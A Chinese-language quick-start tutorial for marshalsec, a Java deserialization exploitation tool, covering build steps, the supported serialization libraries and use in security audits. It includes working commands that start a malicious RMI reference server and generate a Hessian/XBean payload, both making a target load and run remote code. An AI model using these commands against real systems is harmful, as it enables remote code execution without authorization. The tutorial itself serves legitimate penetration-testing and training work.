marshalsec 开源项目教程
marshalsec项目地址:https://gitcode.com/gh_mirrors/ma/marshalsec
1. 项目介绍
marshalsec 是由马克斯·贝克勒(mbechler)开发的一个Java反序列化漏洞利用工具。它主要用于安全研究人员和渗透测试人员,帮助他们分析和利用Java应用程序中的反序列化漏洞。项目提供了多种exploits,支持包括但不限于BlazeDS、Hessian、Burlap、Castor、Jackson、Kryo等序列化库的反序列化攻击。通过模拟攻击载荷,它可以实现远程代码执行(RCE)或者其他安全漏洞。
2. 项目快速启动
安装依赖与编译
首先确保你的系统中已经安装了Java和Maven。如果没有,可以通过以下命令安装:
对于Ubuntu/Linux:
sudo apt-get install default-jdk maven
对于CentOS/RHEL:
sudo yum install java-1.8.0-openjdk-devel maven
然后从GitHub克隆marshalsec项目并编译:
git clone https://github.com/mbechler/marshalsec.git
cd marshalsec
mvn clean package -DskipTests
编译完成后,target/
目录下会产生 marshalsec-{version}-all.jar
文件。
启动RMI服务
下面以启动RMI服务为例:
java -cp target/marshalsec-{version}-all.jar marshalsec.jndi.RMIRefServer http://127.0.0.1/css/#ExportObject 1099
这将会创建一个监听1099端口的RMI服务器,你可以替换URL和端口号以适应你的场景。
查看可用的exploits
要查看支持的所有exploits及其详细信息,运行:
java -jar target/marshalsec-{version}-all.jar --help
生成和使用payload
比如,如果你想生成Hessian类型的payload,可以这样操作:
java -jar target/marshalsec-{version}-all.jar Hessian -v XBean http://127.0.0.1:8080/ExecObject
这会生成一个Hessian编码的payload,并尝试连接到指定的地址。
3. 应用案例和最佳实践
- 在安全审计中,使用marshalsec来识别目标系统的反序列化漏洞。
- 对脆弱的应用程序进行POC测试,验证是否存在RCE或其他类型的安全风险。
- 在安全训练和教育环境中,演示如何发起反序列化攻击。
- 最佳实践中,避免不必要的数据序列化,并限制使用易受攻击的序列化库。
4. 典型生态项目
- Apache Commons Collections:曾因存在反射相关安全问题而成为经典的反序列化攻击目标。
- Jackson:流行的JSON处理库,如果不恰当配置,也可能被用于反序列化攻击。
- Gson:另一个常用的Java JSON库,同样需要注意反序列化安全。
- Hessian/B Burlap:Web服务协议,已知存在反序列化漏洞。
- Kryo:高性能的对象序列化框架,需要谨慎使用以防止安全问题。
以上即为marshalsec项目的简要介绍及快速入门指南,实际应用中请务必遵守法律法规,仅用于合法的安全研究目的。